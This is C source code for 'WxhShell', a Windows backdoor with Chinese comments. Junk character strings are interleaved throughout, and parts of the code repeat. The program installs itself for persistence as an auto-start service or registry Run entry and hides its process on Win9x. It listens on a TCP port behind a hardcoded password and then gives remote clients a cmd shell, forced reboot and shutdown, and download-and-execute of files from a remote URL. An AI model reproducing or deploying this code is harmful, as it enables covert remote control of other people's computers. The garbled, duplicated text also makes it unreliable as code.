NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AeAp0cbet ;3_l@dP" if (!NtQueryInformationProcess) return 0; .z13 =yv 52upoU>}2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [ sd;`xk if(!hProcess) return 0; s=?g \oR 8kP3+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &rkEK4 p4V eRJk% CloseHandle(hProcess); zhY+x<- *T0q|P~o% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k6=nO?$ if(hProcess==NULL) return 0; r\nx= ie-vqLc HMODULE hMod; zE;bBwy& char procName[255]; Be+0NXLVy unsigned long cbNeeded; %e*@CbO$ 5Sk W-+$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S*AERm Lg"C ] CloseHandle(hProcess); e.c3nKXZ q KR7@[ if(strstr(procName,"services")) return 1; // 以服务启动 mo~*C p }[zt#v return 0; // 注册表启动 U-n;xX0= } AyMd:5; ko5V9Drc // 主模块 Vf(6!iRP@ int StartWxhshell(LPSTR lpCmdLine) Wu)>U { R *F l8
SOCKET wsl; jD7Nb lX BOOL val=TRUE; tpuYiL int port=0; @29U@T struct sockaddr_in door; |d6T/Uxo :_M;E"9R if(wscfg.ws_autoins) Install(); BB|?1"neg OzC\9YeA port=atoi(lpCmdLine); [@4rjGwB h<~7"ONhV if(port<=0) port=wscfg.ws_port; F: mq'<Q u+{a8= WSADATA data; ZoArQ(YFy if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sUPz/Z.h ZcYh) HD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5E notp[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9(":,M(/o door.sin_family = AF_INET; "Ky; a?Y door.sin_addr.s_addr = inet_addr("127.0.0.1"); h,"4SSL door.sin_port = htons(port);
^eoLAL s=[h?kB if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,!U=|c"k) closesocket(wsl); &IlU|4`R% return 1; `Qeg } VE8;sGaJ c&L"N!4z if(listen(wsl,2) == INVALID_SOCKET) { d:yqj: closesocket(wsl); ~Ch+5A; return 1; *}8t{ F@k } W0}B'VS.I Wxhshell(wsl); puT'y WSACleanup(); 8mQmi` 6]-SK$ return 0; ur$l Z0 [|l?2j\ } } CfqG?) IIyI=WlpG // 以NT服务方式启动 &?h,7
D;A VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b:w?PC~O { Ag@; DWORD status = 0; ^%`wJ.c DWORD specificError = 0xfffffff; @_z4tUP ;,]P=Ey serviceStatus.dwServiceType = SERVICE_WIN32; fNrgdfo serviceStatus.dwCurrentState = SERVICE_START_PENDING; NssELMtF!g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;D$)P7k6 serviceStatus.dwWin32ExitCode = 0; _2N$LLbg serviceStatus.dwServiceSpecificExitCode = 0; D1&A,2wO serviceStatus.dwCheckPoint = 0; g(4xC7xK6 serviceStatus.dwWaitHint = 0; 1T[et- &d|r~NhP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (64yg if (hServiceStatusHandle==0) return; r7',3V "U7qo}`I status = GetLastError(); 5YrBW:_OI if (status!=NO_ERROR) jRL<JZ1N { k?'B*L_Mzv serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Ae ven serviceStatus.dwCheckPoint = 0; 4rrSb* serviceStatus.dwWaitHint = 0; ;amXY@RmH serviceStatus.dwWin32ExitCode = status; w}=5ElB serviceStatus.dwServiceSpecificExitCode = specificError; &iV,W4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); o^
XtU5SVq return; []D@Q+1 } 2p"WTd p/h
Rk<K6 serviceStatus.dwCurrentState = SERVICE_RUNNING; ~*wk6&| serviceStatus.dwCheckPoint = 0; {D=@n4JO serviceStatus.dwWaitHint = 0; f;b[w if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,N0#!<}4 } f!JS= N?3 Qubp9C#r // 处理NT服务事件,比如:启动、停止 ^#sU*trr VOID WINAPI NTServiceHandler(DWORD fdwControl) Dtj&W<NXo { G.UI|r/Kz switch(fdwControl) gg8Uo G { ghRVso( case SERVICE_CONTROL_STOP: F>rH^F serviceStatus.dwWin32ExitCode = 0; e2A-;4?_ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,2W8=ON serviceStatus.dwCheckPoint = 0; rvw)-=qR[ serviceStatus.dwWaitHint = 0; `*shF9.\C { :ijAqfX SetServiceStatus(hServiceStatusHandle, &serviceStatus); "
W|%~h } X*\J_ return; #{\%rWnCm case SERVICE_CONTROL_PAUSE: JeE;V![ serviceStatus.dwCurrentState = SERVICE_PAUSED; d N$Tf break; R47\Y case SERVICE_CONTROL_CONTINUE: 15sp|$&` serviceStatus.dwCurrentState = SERVICE_RUNNING; /~<@ *-' break; |)*fRL, case SERVICE_CONTROL_INTERROGATE: qo|WXwP2 break; T~='5iy| }; 7"C$pm6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); j}C}:\-fY } Ct>GYk$ UNBH // 标准应用程序主函数 mrjswF27$o int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V=*wKuB { U-3i
w.TuoWo> // 获取操作系统版本 =z
/dcC$r OsIsNt=GetOsVer(); @!1x7%]G GetModuleFileName(NULL,ExeFile,MAX_PATH); BSVxN c3CWRi`LE // 从命令行安装 wY_)y if(strpbrk(lpCmdLine,"iI")) Install(); _/tHD]um 9c("x%nLpB // 下载执行文件 .P"D if(wscfg.ws_downexe) { c(~[$)i6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T]c%!&^_ WinExec(wscfg.ws_filenam,SW_HIDE); lx7Q.su' } &:`U&06q (P:<t6;+ if(!OsIsNt) { #n8IZ3+ // 如果时win9x,隐藏进程并且设置为注册表启动 &*aIEa^ HideProc(); :w^Ed%>y7 StartWxhshell(lpCmdLine); #e$5d>j( } *vwbgJG! * else 73\JwOn~ if(StartFromService()) &eX!#nQ_. // 以服务方式启动 |Ur"&
Z{ StartServiceCtrlDispatcher(DispatchTable); @P?~KW6<| else io8'g3< // 普通方式启动 ] &Rx@&e* StartWxhshell(lpCmdLine); u@cYw:-C #*UN >X return 0; $[a8$VY^Cm } (O(}p~s jr:7?8cH0L _y}
T/I9 bl&nhI)w =========================================== tu66'z *(T:,PY /$p6'1P8 R1$:~p2m
t!_<~ M,\:<kNI "
x5-}h* S;286[oq@ #include <stdio.h> Rx=>6,)' #include <string.h> lUMS;H( #include <windows.h> fUA uqfj[ #include <winsock2.h> 1`qMj0Y_ #include <winsvc.h> IvtJ0 #include <urlmon.h> U ^5Kz-5. _ =VqrK7T #pragma comment (lib, "Ws2_32.lib") vkEiOFU!u #pragma comment (lib, "urlmon.lib") sW'2+|3" +Z!)^j #define MAX_USER 100 // 最大客户端连接数 .Z
`av n #define BUF_SOCK 200 // sock buffer 2Tp1n8FV #define KEY_BUFF 255 // 输入 buffer M:[ %[+6 I7n"&{s"* #define REBOOT 0 // 重启 ,N]H dR #define SHUTDOWN 1 // 关机 \=ux atw (G;lx #define DEF_PORT 5000 // 监听端口 U`NjPZe5^ '9
[vDG~ #define REG_LEN 16 // 注册表键长度 %1xb,g KO #define SVC_LEN 80 // NT服务名长度 (jRm[7H ?En O"T. // 从dll定义API :fZ}o|t7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QLiu2U o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8y.wSu
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gf
&Pn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B][U4WJ) #(N+((): // wxhshell配置信息 D"2&P^- struct WSCFG { BMG3|N^ int ws_port; // 监听端口 L>aLqQ3 char ws_passstr[REG_LEN]; // 口令 _4U5 int ws_autoins; // 安装标记, 1=yes 0=no ?kH8Lw~{5W char ws_regname[REG_LEN]; // 注册表键名 Z8@J`0x char ws_svcname[REG_LEN]; // 服务名 xRzFlay8 char ws_svcdisp[SVC_LEN]; // 服务显示名 1q:2\d] char ws_svcdesc[SVC_LEN]; // 服务描述信息 jZ~n[
f+Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2q=AEv/ int ws_downexe; // 下载执行标记, 1=yes 0=no PGhY>$q>b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~5%W:qwQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xqG[~)~ UU;(rS/ }; {E9+WFz5 [6%VRqY // default Wxhshell configuration ^cP!\E-^ struct WSCFG wscfg={DEF_PORT, ;Q OBBF3HG "xuhuanlingzhe", 9.gXzPH 1, -$cmG4 "Wxhshell", .ps-4eXF "Wxhshell", yW1)vD7 "WxhShell Service", p6#g;$V$ "Wrsky Windows CmdShell Service", i1NY9br "Please Input Your Password: ", D%OQ e#! 1, r%yvOF\> "http://www.wrsky.com/wxhshell.exe", ~=6xyc/c "Wxhshell.exe" +eK"-u~K }; aW)-?(6> jET{Le8i // 消息定义模块 hIs4@0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -.u]GeMy char *msg_ws_prompt="\n\r? for help\n\r#>"; :t8b39 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e,vvzso char *msg_ws_ext="\n\rExit."; nYR# char *msg_ws_end="\n\rQuit."; Wz49i9e+d char *msg_ws_boot="\n\rReboot..."; [q)8N char *msg_ws_poff="\n\rShutdown...";
-D char *msg_ws_down="\n\rSave to "; !;Yg/'vD- cl=EA6P\X char *msg_ws_err="\n\rErr!"; cl[BF'.H char *msg_ws_ok="\n\rOK!"; 5\5/ Y)0*b5?1r char ExeFile[MAX_PATH]; DS.RURzd{r int nUser = 0; A}G7l?V& HANDLE handles[MAX_USER]; /YW>*?"N int OsIsNt; CrC^1K ]@j*/IP SERVICE_STATUS serviceStatus; GP!?^r:en SERVICE_STATUS_HANDLE hServiceStatusHandle; ^84G%)`& rb5~XnJk // 函数声明 \o}xF@sM5 int Install(void); z;{iM/Xe int Uninstall(void); TN!j13, int DownloadFile(char *sURL, SOCKET wsh); :DrWq{4 int Boot(int flag); `w#Oih!6A| void HideProc(void); v5!d$Vctu int GetOsVer(void); 2&:f&" int Wxhshell(SOCKET wsl); $+8cc\fq void TalkWithClient(void *cs); Pk{_(ybaY int CmdShell(SOCKET sock); =9y[1t int StartFromService(void); ?26I,:; int StartWxhshell(LPSTR lpCmdLine); A!s`[2 Z jSh5!6O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2,$8icM VOID WINAPI NTServiceHandler( DWORD fdwControl ); Cc+t}"^ l2zFKCGF( // 数据结构和表定义 &gVN& SERVICE_TABLE_ENTRY DispatchTable[] = we~[ ]
\
{ :q$.,EZ4#n {wscfg.ws_svcname, NTServiceMain}, V)Z}En["1 {NULL, NULL} 4IB9,?p }; lGPUIoUo Bn=by{i // 自我安装 8'r2D+Vwm int Install(void) 1n >X[!
8x { AF;)#T< char svExeFile[MAX_PATH]; rn/ /% HKEY key; <r.)hT"0 strcpy(svExeFile,ExeFile); bR*-Ht+wd lP[w?O // 如果是win9x系统,修改注册表设为自启动 Y}t \4 di if(!OsIsNt) { 1tEgl\u\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wKtl+}} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kw>v:F<M RegCloseKey(key); mq aHwID if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rHC>z7+z. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )M,OfXa RegCloseKey(key); c(3~0Yr return 0; &oP+$;Y } 9TgIB } 'DY`jVwa } CY
4gSe? else { KSbKEA y6ECdVF // 如果是NT以上系统,安装为系统服务 IpINH3odT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]{)a,c NG if (schSCManager!=0) aGrIQq/k)% { 9=vMgW SC_HANDLE schService = CreateService WKts[Z ( bZnuNYty75 schSCManager, ^nT/i
.#_ wscfg.ws_svcname, p#01gB wscfg.ws_svcdisp, 09X01X[ SERVICE_ALL_ACCESS, ,V,`Jf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^!<U_;+ SERVICE_AUTO_START, l7XUXbYp&= SERVICE_ERROR_NORMAL, 03|PYk 6EW svExeFile, \l'm[jy> NULL, Lz`E;k^ NULL, \s/s7y6b+ NULL, @)UZ@ ~R NULL, 8ZM?)#`@{ NULL 5m*iE*+ ); O!mvJD if (schService!=0) 5QW=&zI`= { `_BNy=`s* CloseServiceHandle(schService); fL_4uC i\ CloseServiceHandle(schSCManager); wg7V-+@i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zcel|oz) strcat(svExeFile,wscfg.ws_svcname); "W=AB& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u8gS<\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KK1gNC4R RegCloseKey(key); bV(Y`g return 0; O}+.U<V
} NO~*T?&
} T_i:}ul CloseServiceHandle(schSCManager); FK:;e
lZ } 8e*,jH3 } @XgKYm
w zYzug return 1; K0H'4' I } NE"@Bk
cm I3=%h // 自我卸载 xO$lsZPG int Uninstall(void) $:cE ^8K { tR}MrM HKEY key; I~q#eO) r;/4F/6" if(!OsIsNt) { c2h{6;bfY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &qMPq-> RegDeleteValue(key,wscfg.ws_regname); M2HomO/X) RegCloseKey(key); iWRH{mK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $h5xH9x
; RegDeleteValue(key,wscfg.ws_regname); M=%l}FSTw( RegCloseKey(key); t0/p]=+.p/ return 0; Te.Y#lCT$ } UM!ENI| } VbJiZw(aR } ~o82uw? else { ~c8?>oN( K-e9>fmB# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sc|_Q/`\. if (schSCManager!=0) SHvq.lYJ { `NnUyQ;T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :j5n7s?&=y if (schService!=0) o4`hY/<t { XxT#X3D/," if(DeleteService(schService)!=0) { qd9c I& CloseServiceHandle(schService); vqnw#U4` CloseServiceHandle(schSCManager); Ipf|")* return 0; !,l9@eJQ } m#8m] Y CloseServiceHandle(schService); c|lu&}BS } D;oe2E{I CloseServiceHandle(schSCManager); @.osJ}FxA } oeKHqP wg } K\>tA)IPSV kd=GCO return 1; __`*dL>* } b_,|>U iDN;m`a // 从指定url下载文件 m$`RcwO int DownloadFile(char *sURL, SOCKET wsh) 6Se?sHC> { fXXr+Mor HRESULT hr; *"R|4"uy char seps[]= "/"; 2Gz}T _e char *token; * 1T& char *file; 6,"IDH|ND char myURL[MAX_PATH]; =CK4.
char myFILE[MAX_PATH]; 5j:0Yt h"Xg;(K strcpy(myURL,sURL); g+DzscIT token=strtok(myURL,seps); _6_IP0; while(token!=NULL) uG?_< mun { $u7;TW6QD file=token; w ihH?~] token=strtok(NULL,seps); .9,zL=)Ba } 6$fHtJD: j;']cWe GetCurrentDirectory(MAX_PATH,myFILE); 2]I4M[|&z strcat(myFILE, "\\"); +)k b( strcat(myFILE, file); UUSq$~Ct send(wsh,myFILE,strlen(myFILE),0);
u*e.yN send(wsh,"...",3,0); i#7DR>XF/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WF2}-NU" if(hr==S_OK) BsBK@+ZyI return 0; {xwm^p(f else 2uG0/7 return 1; l-K9LTd 0F@"b{&0 } EM]s/LD@% MJ7 Y#<u // 系统电源模块 +IrLDsd int Boot(int flag) aF)1Nm[ { r9X?PA0f HANDLE hToken; Ae
mDJ8Y TOKEN_PRIVILEGES tkp; J+[_Wd dODt(J}% if(OsIsNt) { #@^t;)| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q&MZN);. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0*%Z's\M" tkp.PrivilegeCount = 1; iDMJicW!+F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OH;b"] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
D0g ZC if(flag==REBOOT) { ~}F{vm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =Qh\D return 0; NXwz$}}Pp } W4hbK9y else { zfI>qJ+Nqt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8'~[pMn` return 0; UjaK&K+M? } Dpvk\t } < XP9@t&
else { ' pm2n0 if(flag==REBOOT) { m6n?bEl6I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wm]^3qI2 return 0; MG[o%I96 } Vm%1> '& else { $P>`m$(8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ${+ @gJ+S return 0; 7#@cz5Su } S?RN?1 } cj+ FRG~u i%ZW3MrY~ return 1; 5V5%/FUm } f&}k^>N#3 +SsK21f"r // win9x进程隐藏模块 |o,8V p void HideProc(void) +# GQ, { k:JrHBKv\ k9$K} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mzsfo;kk+ if ( hKernel != NULL ) =3q/F7- { eAX
)^q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [PQ?#:r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7s"<
'cx_F FreeLibrary(hKernel); VS9`{ } 3BB%Z6F uIcn{RZ_z return; A'G66ei } "
Om[~-31 Y3r%B9~ // 获取操作系统版本 CK:y? int GetOsVer(void) Yiry["[]Q { T_sTC)&a OSVERSIONINFO winfo; :/:.Kb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8CnRi GetVersionEx(&winfo); *:>"q ej if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mocI&=EF2X return 1; D@.tkzU@E else 7h6,c /< return 0; VUVaaOmO } Ynp{u`? ,oaw0Vw // 客户端句柄模块 z74in8] int Wxhshell(SOCKET wsl) ~vXaqCX { >y.%xK SOCKET wsh; (WK&^,zQn struct sockaddr_in client; [
j3&/ DWORD myID; f@8>HCI Vl_:c75" while(nUser<MAX_USER) }@Ge}9$h { 'a$Gv&fu int nSize=sizeof(client); /rq VB|M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 70f Klp if(wsh==INVALID_SOCKET) return 1;
Vm(1G8 a :!5IW?2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5QPM t^ if(handles[nUser]==0) xqC+0{]y closesocket(wsh); [F*.\ else ?shIj;c[ nUser++; |;.o8} } $-#Yl&?z9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0G7K8`a u}!@ ,/) return 0; 'd+NVj{C } _^el\ 0$7s^?G0 // 关闭 socket COTp void CloseIt(SOCKET wsh) 8<.C3m
6h { PZ{Dv'C closesocket(wsh); KN7^:cC nUser--; K$ M^gh0 ExitThread(0); l5\"9 ,< } UNPezHaz 2zVJ vn7 // 客户端请求句柄 1AG=%F|. void TalkWithClient(void *cs) `}BF${vF { X@k`3X F%i^XA]a* SOCKET wsh=(SOCKET)cs; |tv"B@` char pwd[SVC_LEN]; mN!lo;m5 char cmd[KEY_BUFF]; @O@GRq&V char chr[1]; jeGj<m int i,j; ]wKz E4Z/ 0PU8#2pR while (nUser < MAX_USER) { ([-|} Z^]|o<.<I if(wscfg.ws_passstr) { UJfEC0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YqPQ%
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;]gP@ h/ //ZeroMemory(pwd,KEY_BUFF); x~GQV^(l3 i=0; {"&SJt[%X while(i<SVC_LEN) { &VV~%jl;k ~zSCg|"r // 设置超时 @+9<O0 fd_set FdRead; %^1cyk struct timeval TimeOut; ,WvY$_#xW% FD_ZERO(&FdRead); EhO|~A*R FD_SET(wsh,&FdRead); E<C&Cjz:H TimeOut.tv_sec=8; U Z|HJ8_ TimeOut.tv_usec=0; dbOdq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FXzFHU/dP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :6zG7qES3 %{/%mJoX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xdf82) pwd=chr[0]; NzU,va N if(chr[0]==0xd || chr[0]==0xa) { qf=1?=l291 pwd=0; /9zE^YcT break; V5GW:QT } Ma8_:7`>O i++; 34wkzu } {dL?rQ>5L 94 e):
jS // 如果是非法用户,关闭 socket ;x:rZV/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %H]lGN) } X=Ys<TM, q^A+<d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3,]gEE3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RjWqGr;bO Wm);C~Le while(1) { $KLD2BAL I! > \#K ZeroMemory(cmd,KEY_BUFF); K]j0_~3s ,RgB$TcE // 自动支持客户端 telnet标准 :^Fh!br== j=0; e"'#\tSG while(j<KEY_BUFF) { zGc:
@z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n+BJxu? cmd[j]=chr[0]; 3/b;7\M if(chr[0]==0xa || chr[0]==0xd) { +,yK;^b cmd[j]=0; - !>}_AH break; OvUI@,Ef } 'yV?*a j++; b8%C*r7 } WBN w~|DO] >0dv+8Mn // 下载文件 M/q E2L[y if(strstr(cmd,"http://")) { c\ia6[3sX send(wsh,msg_ws_down,strlen(msg_ws_down),0); B 9T!j]' if(DownloadFile(cmd,wsh)) Rb%%?*| send(wsh,msg_ws_err,strlen(msg_ws_err),0); cuK,X!O else OKi\zS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P%#*-zCCx } l#lF
+Q; else { ,(.MmP` 0vVV%,v switch(cmd[0]) { {0;3W7 iSFuT7;% // 帮助 m$9w"8R case '?': { f+|$&p% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); quvanxV-L break; Up:<=Kgci } E;d7ch // 安装 @q"m5 case 'i': { *loOiM\5a if(Install()) -F=v6N { send(wsh,msg_ws_err,strlen(msg_ws_err),0); @xeAc0.^ else iA0q_( \X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,^gyH
\ break; R |f~>JUF } qim
'dp: // 卸载 M\Gdn92pd case 'r': { k{V E1@ if(Uninstall()) ?6nF~9Z' send(wsh,msg_ws_err,strlen(msg_ws_err),0); kPQtQh]y% else }U
SC1J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aA'|Rg, break; Oky**B[D' } }hYZ"
A~ // 显示 wxhshell 所在路径 $''9K case 'p': { +rIL|c}J char svExeFile[MAX_PATH]; `;YU.* strcpy(svExeFile,"\n\r"); >(y<0
strcat(svExeFile,ExeFile); gtYAHi send(wsh,svExeFile,strlen(svExeFile),0); `\X+ Ud| break; >Bs#Xb_B] } %lX%8Z$v // 重启 k"g._|G case 'b': { -QyhwG= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CiR%Ujf if(Boot(REBOOT)) U `o^mtW. send(wsh,msg_ws_err,strlen(msg_ws_err),0); LGc&o]k else { ~>0qZ{3J_ closesocket(wsh); 11|Rdd+} ExitThread(0); h(qQsxIOhS } pDQ}* break; %L [&,a } pA;-vMpMj // 关机 e(NLX` case 'd': { /t6X(*xoy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {QbvR*gv if(Boot(SHUTDOWN)) 4CQ"8k(S" send(wsh,msg_ws_err,strlen(msg_ws_err),0); wnTV|^Q else { Z4){
7|~a closesocket(wsh);
t8+_/BXv ExitThread(0); k<RZKw Qc } H'MJ{r0, break; lCF`*DM# } `xiCm': // 获取shell \m=?xb8
f case 's': { );*YQmdx' CmdShell(wsh); `MEYd U1 closesocket(wsh); EZ.!rh~+ ExitThread(0); &20P,8@ break; N)S!7%ne } 341?0%= // 退出 _/S?# case 'x': { K^rIG6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -dv%H{ CloseIt(wsh); AH4EtZC=W break; .bVmqR` } IScRsxFb // 离开 UZEI:k,dv case 'q': { +,v-=~5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); N$TL;T> closesocket(wsh); BZb]SoAL WSACleanup(); u*7Z~R exit(1); kkvtB<<Y break; \([WH!7 } Z+pom7A"E } p"*y58 } CC;! <km 'cNKjL; // 提示信息 ds[QwcV9- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $T<}y_nHl } 5efxEt>U } g(O;{Q_ ;WT{|z return; m,')&{Rd } 24Z]%+b*E Pv<FLo%u< // shell模块句柄 Jdy<w&S int CmdShell(SOCKET sock) 1Uf*^WW4 { +Z!;P
Z6 STARTUPINFO si; =2y8CgLj ZeroMemory(&si,sizeof(si)); \n9A^v`F/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F8e<}v&7R si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i#X!#vyc PROCESS_INFORMATION ProcessInfo; -ng=l; char cmdline[]="cmd"; uhV0J97 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XYx6V return 0; gPzL*6OSA } h{lDxOH* 44\>gI< // 自身启动模式 7@a 0$coP int StartFromService(void) `>D9P_Y"jI { ni typedef struct aFY_:.o2k` { cgC\mM4Nla DWORD ExitStatus; #JA}3] DWORD PebBaseAddress; `\<37E\N} DWORD AffinityMask; XE}H 3/2 DWORD BasePriority; "0jJh^vk ULONG UniqueProcessId; 4z:#I; ULONG InheritedFromUniqueProcessId; t ]c{c#N/ } PROCESS_BASIC_INFORMATION; ]WJfgN4
L;W.pe0 PROCNTQSIP NtQueryInformationProcess; ql5x2n OMihXt[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U},=LsDsW4 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I~'*$l ZX
b}91rzt HANDLE hProcess; -Uo?WXP]B' PROCESS_BASIC_INFORMATION pbi; [O-sVYB 5 waw`F HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,]Zp+>{
if(NULL == hInst ) return 0; }8'&r(cN4 >+cVs: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Wl(9$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,/&Zw01dGN NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }tST)=M` ^T4Ay=~{ if (!NtQueryInformationProcess) return 0; 2
Tvvq(?T 6S?x
D5( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7Tf]:4Y" if(!hProcess) return 0; q}L+/+b m:`@?n~.. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K&A;Z>l,v5 77gysd\( CloseHandle(hProcess); xPmN},i'R$ BOf1J1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F.q|x|9j if(hProcess==NULL) return 0; t~K%.|'0 #~?kYCtC) HMODULE hMod; eIPG#A char procName[255]; ~@I@} n unsigned long cbNeeded; p4X{"Z\mn =G-N`
